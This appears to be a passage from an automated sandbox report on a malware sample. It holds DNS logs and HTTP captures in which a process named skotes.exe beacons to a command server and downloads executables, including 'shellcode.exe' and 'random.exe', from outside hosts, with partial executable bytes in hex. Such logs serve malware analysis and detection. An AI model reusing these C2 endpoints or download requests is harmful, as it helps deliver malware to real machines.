Nov 23, 2024 15:26:04.625947952 CET	1.1.1.1	192.168.2.4	0x8861	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:26:05.991161108 CET	1.1.1.1	192.168.2.4	0xde4f	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:26:05.991161108 CET	1.1.1.1	192.168.2.4	0xde4f	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:26:09.865403891 CET	1.1.1.1	192.168.2.4	0x1a45	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:26:10.009284973 CET	1.1.1.1	192.168.2.4	0x538	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:26:27.369313955 CET	1.1.1.1	192.168.2.4	0xa38d	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:26:42.101037025 CET	1.1.1.1	192.168.2.4	0x80ce	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:28:14.238411903 CET	1.1.1.1	192.168.2.4	0xb60e	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:28:27.072273970 CET	1.1.1.1	192.168.2.4	0x8271	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:28:28.683336973 CET	1.1.1.1	192.168.2.4	0xa008	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:28:28.683336973 CET	1.1.1.1	192.168.2.4	0xa008	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:28:28.683352947 CET	1.1.1.1	192.168.2.4	0xa008	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:28:28.683352947 CET	1.1.1.1	192.168.2.4	0xa008	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:28:51.493778944 CET	1.1.1.1	192.168.2.4	0xbbca	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:28:51.632230043 CET	1.1.1.1	192.168.2.4	0xc57b	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:30:01.070385933 CET	1.1.1.1	192.168.2.4	0x107	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:30:06.250562906 CET	1.1.1.1	192.168.2.4	0xde06	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:30:07.612384081 CET	1.1.1.1	192.168.2.4	0xc76e	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:30:07.612384081 CET	1.1.1.1	192.168.2.4	0xc76e	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:30:07.754993916 CET	1.1.1.1	192.168.2.4	0x86be	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49748	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:22:04.912322044 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:22:06.307328939 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:22:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49759	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:22:07.940772057 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:22:09.292777061 CET	744	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:22:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 32 39 0d 0a 20 3c 63 3e 31 30 30 38 34 35 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 65 32 62 63 34 31 39 31 64 65 37 30 32 62 33 31 34 31 34 30 32 35 30 38 30 64 39 23 31 30 30 38 34 35 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 38 37 37 39 37 34 64 34 30 62 64 35 63 65 30 34 39 30 61 34 39 34 64 39 64 23 31 30 30 38 34 35 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 34 35 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 [TRUNCATED] Data Ascii: 229 <c>1008450001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9e2bc4191de702b31414025080d9#1008451001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd877974d40bd5ce0490a494d9d#1008452001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008453001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008454001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008455001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49760	31.41.244.11	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:22:09.417181969 CET	58	OUT	GET /files/5468191780.exe HTTP/1.1 Host: 31.41.244.11
Nov 23, 2024 15:22:10.755650997 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:22:10 GMT Content-Type: application/octet-stream Content-Length: 665088 Last-Modified: Sat, 23 Nov 2024 13:50:48 GMT Connection: keep-alive ETag: "6741ddb8-a2600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d1 db 41 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 f4 01 00 00 2e 08 00 00 00 00 00 0a a0 0a 00 00 60 08 00 00 20 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 0a 00 00 04 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 67 08 00 57 00 00 00 00 60 0a 00 50 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 0a 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELAg0.` @ @gW`P`HW{2/cx# $@.text`( `.rsrcP`@@.reloc"@B$ `
Nov 23, 2024 15:22:10.755714893 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c bb c0 c0 00 03 cb e8 c5 54 63 28 82 36 3a d5 0b 2b df 54 05 ab 7a c8 29 56 b4 Data Ascii: \|Tc(6:+Tz)V$n W(\fdDEC4xs>;S)#/6DUn#++lLjoXD6i\|\Ii!)'v)ne)mW0(<9
Nov 23, 2024 15:22:10.755800962 CET	1236	IN	Data Raw: c9 1a 58 98 39 fc 5f 23 3d 15 77 18 04 7f fd 1e 47 db 5d cd 5e 11 25 41 c0 6f 5d c7 64 87 30 56 c5 cf 80 09 61 cf e3 46 d1 8b a5 dd 3a c5 b0 ed 3e bf 45 7b 94 e8 13 69 fd 62 b6 0f 46 1d cf 00 bc 22 3f 13 46 57 e1 57 37 39 c5 52 5d eb 4d 6d a3 90 Data Ascii: X9_#=wG]^%Ao]d0VaF:>E{ibF"?FWW79R]Mm`IXF!G4OX\|b*`1J~+=Y$trWNBGAGCcls_)XCgZ1'?'`^,fS6
Nov 23, 2024 15:22:10.755906105 CET	1236	IN	Data Raw: 19 7b 66 62 ec 48 37 00 d1 8f be ef c6 35 d6 f4 e8 8b 21 ff 55 b5 6a 7a 8a 75 0f 64 b0 b9 ed 27 e3 e4 68 60 0a 04 59 fd 09 29 69 f1 45 f4 a0 5f 1f 56 ac b1 0b 17 bb 1f de 61 44 1f 7f 43 bc b4 e8 0f 02 0d ed 70 cf 44 f0 bc 1c e4 29 39 ce 51 b6 d8 Data Ascii: {fbH75!Ujzud'h`Y)iE_VaDCpD)9Qg37t'wI]r'2m?coX6F"~#7/}3zqZ9e&@p{fXd@/\z&r}jPnbpR=j[4z$M5XTtF
Nov 23, 2024 15:22:10.755944014 CET	1236	IN	Data Raw: 90 5a 94 7e cb a4 cf e6 2f 85 50 91 4e 06 cb ae fb 8a 86 ae 63 49 1c 3e 8c 9a e1 cc 2e 55 4a 72 2d f5 db e1 9b 3e 5c 71 e9 9f 8c 0b 77 18 24 7e d5 ea df d1 42 63 65 95 a0 0e 04 cd 3c 29 54 36 be f5 36 73 87 bc e9 1b 59 a0 6a 4e f0 22 ec 23 c7 a2 Data Ascii: Z~/PNcI>.UJr->\qw$~Bce<)T66sYjN"# #oPA='aB}.s)AGJ,-uT(KeL:s(>Kn{L<^=,&haL_V *'inx 3/7]R"e97
Nov 23, 2024 15:22:10.755995989 CET	1236	IN	Data Raw: 97 7e 7d 06 54 99 33 11 d1 92 4f 8f 27 c1 8e 3f 65 f0 5e 84 13 0f d1 4d 02 68 03 14 3b 5d 2b 8f ed 3c df db d4 64 59 61 21 4f 76 65 12 3f a2 e2 fe e0 f9 2e 8b 5b 2f 83 39 39 cc cf 26 20 90 98 5a 8e f6 ff f8 16 a4 4a e8 90 69 4c b4 98 28 bc 69 f2 Data Ascii: ~}T3O'?e^Mh;]+<dYa!Ove?.[/99& ZJiL(i/u9x`ws#QM>"'ox=gP,81uIsYg2Y%KRU8}x3nB@&/64-y=5?fhe{Try].:h0U$2s
Nov 23, 2024 15:22:10.756027937 CET	1236	IN	Data Raw: 78 4e 10 4d 55 e8 9f e7 f4 f0 ae d4 8e 63 e1 91 e7 df 2c 47 e2 77 3a b9 c4 20 4a 8f 0b 66 26 a9 0d 70 ab ef 3b 3f 1b 29 67 1e 91 6c 25 d9 53 ac 5f 07 50 f5 85 a6 62 08 eb 79 47 bd e8 78 ac bb ff 8d ab 83 98 01 0c 41 93 57 89 38 52 fa 5c 86 99 45 Data Ascii: xNMUc,Gw: Jf&p;?)gl%S_PbyGxAW8R\E98hi?<=F\5P.]-Cd;)Y<Yb3xXXr!z$[\|?B&5U-Ze<jfRnBVFdXegs8RK@Yqd=d*Z'7Ao
Nov 23, 2024 15:22:10.756088972 CET	1120	IN	Data Raw: 49 48 80 70 8b f6 23 53 b9 e5 e8 15 1c cc 54 f2 8f 9c 03 3f 9b c7 95 05 4a d0 1a f2 41 ac d0 8c 41 ac a7 6b 84 2c 83 b6 58 3f b3 46 7f 40 93 b6 dc a6 dc 17 d7 7e 1a d4 46 3b a5 6b c7 14 d0 28 af d7 e7 5e 83 27 bf b8 ba 82 45 d4 17 30 51 0c d9 ad Data Ascii: IHp#ST?JAAk,X?F@~F;k(^'E0Q;du^m)c0+U?{8?&\Er!/,f47e0Z&k_=I:p(`n-lXi_``c`{;zh@-X)6go8z
Nov 23, 2024 15:22:10.756143093 CET	1236	IN	Data Raw: f0 ff 31 1d 0e c3 56 e8 01 23 00 66 5e 52 98 5e ad 74 45 93 cf 80 4b 20 42 7b 5e aa 8d a7 f9 bc a7 5b d8 7e 37 67 ff 4d cb 99 57 0c 4b c9 67 86 c6 ad 86 aa 7a 2f 1b d6 ea 37 02 8c 36 a1 ba 56 78 e2 b3 6f a9 2e cd e5 73 aa e5 cc a2 b6 22 cc f6 76 Data Ascii: 1V#f^R^tEK B{^[~7gMWKgz/76Vxo.s"vWdWq}q$'uPfA$4?xz(G;1JM&Z'z19IGZBq:[~%M7]]w'K) T~+ulR;j+r'-y
Nov 23, 2024 15:22:10.756179094 CET	1236	IN	Data Raw: 88 58 d5 7a 4b bb 7b ac db 77 0d c4 08 2e 33 a6 c4 51 f5 87 c4 60 44 c2 0f e2 d6 91 0a a2 59 77 d2 ff c1 16 64 56 c5 c1 62 91 c8 34 58 8c 48 24 1a 77 94 d5 a6 be 1a 3a 13 ba e7 76 ec b2 24 08 eb 30 4a cc 07 93 5c 20 58 ef 12 82 44 0c 95 5a f1 53 Data Ascii: XzK{w.3Q`DYwdVb4XH$w:v$0J\ XDZSEsiH:,xiJ.."hO/vfO~5,ijeh96u7d~xlBQ>OSW2,uJVtI\|'6I:M>0y
Nov 23, 2024 15:22:10.875468969 CET	1236	IN	Data Raw: 89 a0 ac e0 4a 76 ca a9 2c 74 c4 ad 66 ef 79 26 3d ec 5b 45 a5 64 70 66 b8 e6 0b 78 75 84 c9 7c 1d c8 ec a9 d6 2c 04 79 ef 55 e1 db 05 b8 42 33 6c b5 5d 7f 90 8a 45 64 d5 8b 74 98 fb 4a 8e b2 ae f0 18 2c d0 12 53 5d 04 d4 70 27 6a 4e ee a0 21 fe Data Ascii: Jv,tfy&=[Edpfxu\|,yUB3l]EdtJ,S]p'jN!}R'^ua\G7pi/4FXgeq'Us#1$oqv{xAi;mJs\|- fZzWg(}" h=FDwq]vD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49777	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:22:15.137439966 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 34 35 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008450001&unit=246122658369
Nov 23, 2024 15:22:16.536885023 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:22:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49780	31.41.244.11	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:22:16.658432007 CET	57	OUT	GET /files/shellcode.exe HTTP/1.1 Host: 31.41.244.11
Nov 23, 2024 15:22:18.041474104 CET	803	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:22:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 57 65 6c 63 6f 6d 65 20 74 6f 20 6e 67 69 6e 78 21 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 57 65 6c 63 6f 6d 65 20 74 6f 20 6e 67 69 6e 78 21 3c 2f 68 31 3e 0a 3c 70 3e 49 66 20 79 6f 75 20 73 65 65 20 74 68 69 73 20 70 61 67 65 2c 20 74 68 65 20 6e 67 69 6e 78 20 77 65 62 20 73 65 72 76 65 72 20 69 73 20 73 75 63 63 65 73 73 66 75 6c 6c 79 20 69 6e 73 74 61 6c 6c 65 64 20 61 6e 64 0a 77 6f 72 6b 69 6e 67 2e 20 46 75 72 74 68 65 72 [TRUNCATED] Data Ascii: 264<!DOCTYPE html><html><head><title>Welcome to nginx!</title><style> body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; }</style></head><body><h1>Welcome to nginx!</h1><p>If you see this page, the nginx web server is successfully installed andworking. Further configuration is required.</p><p>For online documentation and support please refer to<a href="http://nginx.org/">nginx.org</a>.<br/>Commercial support is available at<a href="http://nginx.com/">nginx.com</a>.</p><p><em>Thank you for using nginx.</em></p></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49793	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:22:19.687124014 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 30 3d 31 30 30 38 34 35 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1008451001&unit=246122658369
Nov 23, 2024 15:22:21.124865055 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:22:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49795	185.215.113.16	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:22:21.250149012 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 15:22:22.634068012 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:22:22 GMT Content-Type: application/octet-stream Content-Length: 1846784 Last-Modified: Sat, 23 Nov 2024 13:21:38 GMT Connection: keep-alive ETag: "6741d6e2-1c2e00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 70 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 49 00 00 04 00 00 50 4f 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELQ<?gpI@IPO@\pp `b@.rsrcpr@.idata t@ @*v@jvnpwyzl/x@ubzpnpef`I@.taggant0pI"@
Nov 23, 2024 15:22:22.634151936 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:22:22.634782076 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:22:22.634818077 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:22:22.634867907 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:22:22.635567904 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:22:22.635637045 CET	1236	IN	Data Raw: 71 78 cf fb ac 62 b0 d8 37 91 db 9e 6f 28 07 2f 9f 2c f3 11 28 dd 3a ac b9 c5 6a ad 57 fb af 04 98 13 a2 5c 4c 4d f4 21 71 27 89 25 56 cb d0 e8 99 fc 88 19 0b e7 e3 f4 20 f0 ae 04 d6 fb 5a 22 0d 91 01 11 79 ad a0 3c e1 88 a9 41 cf 34 d7 dc 10 67 Data Ascii: qxb7o(/,(:jW\LM!q'%V Z"y<A4g~]%v:Z22Mw<oC>N9_Iaat+*u2sv5qxff'amK>D0Gr)!DHtb$is/em]+k#C]R\|xa
Nov 23, 2024 15:22:22.635667086 CET	248	IN	Data Raw: 1c ac dc 1a af 6d 44 d0 50 9f 64 ce a4 73 8d 18 7d ef 1c 8f 9f 0b 79 b2 8c 39 8e f0 a3 5f 79 ff bd e7 c4 d7 6f 55 89 5b 58 4b da 7b 39 4a 1a 11 09 eb cf 86 4d 23 cc c4 11 9e 69 5d 08 0c 09 dd 53 df ee 1a 59 fa 72 e5 60 5f 7b 98 69 f7 e5 9a 6d bd Data Ascii: mDPds}y9_yoU[XK{9JM#i]SYr`_{im&d#Z:Hs'P$,!h_c1v.z"UG=Y^Y(u_#NmalV^!@n6&W7[^!,'bcVzK-{')u=(Y25$X
Nov 23, 2024 15:22:22.636594057 CET	1236	IN	Data Raw: 82 00 2f c5 e5 f9 e2 62 4f 5f 51 c0 96 ed 62 99 da 4a 23 67 7e 57 de a8 77 c0 8b 48 67 0c 56 1b 6b 57 27 50 4e 5a 6e d3 a9 4b 46 95 6e 5b c1 ac 7a f1 84 49 a5 bc ed 68 01 42 bf d4 27 c6 8c bf da ea a5 d3 9d 40 a2 fd bd 35 88 d0 66 5f ab d2 7b 0d Data Ascii: /bO_QbJ#g~WwHgVkW'PNZnKFn[zIhB'@5f_{bB2k``j$Y36y)'YaTv-qV\O0R9!fo6H4P<G5nUm'tmP!OXIcadS78!0YXUUF+NxKwS
Nov 23, 2024 15:22:22.636715889 CET	1236	IN	Data Raw: d2 49 38 e3 64 60 e1 44 b4 1d db 37 a3 4b 2e 23 44 99 21 59 19 37 69 f3 d7 ff 4d f2 5d 26 69 a0 06 8f c1 d2 74 b2 5a 3a 42 d8 54 b1 4e 34 94 c1 d6 85 eb 5b 62 9e e9 60 57 d8 a3 5d eb 57 a3 da 21 e0 2f dc 5b 6c 26 58 8b e5 22 69 14 07 42 4a c7 eb Data Ascii: I8d`D7K.#D!Y7iM]&itZ:BTN4[b`W]W!/[l&X"iBJRMlExp6,$@;=?%0(d~}xYl:i7H0b2rA{R3_PHi/IvofvSba.X9?ym*5
Nov 23, 2024 15:22:22.753891945 CET	1236	IN	Data Raw: 93 8f e8 18 f4 0f 97 21 65 aa ef 20 e2 63 a5 06 9d 92 75 6e e7 58 75 d7 4d ed f1 e1 0e b3 b7 3a bf 64 c7 fc b2 f0 e7 3f 73 e7 d2 14 85 eb 9b de 86 5a 71 49 58 18 9c 0f 81 f3 19 c1 8e 46 a4 95 c3 05 9e 5d 5e 4b 9f f5 2a eb 63 9c a5 cb f7 1c 53 4b Data Ascii: !e cunXuM:d?sZqIXF]^K*cSKAvl[d/reD<)0rm7\|_Qi1UmNjI`ZIIUH5!iG[)XY2}`W%h_tE(Wf{f_DY')aXX"V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49815	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

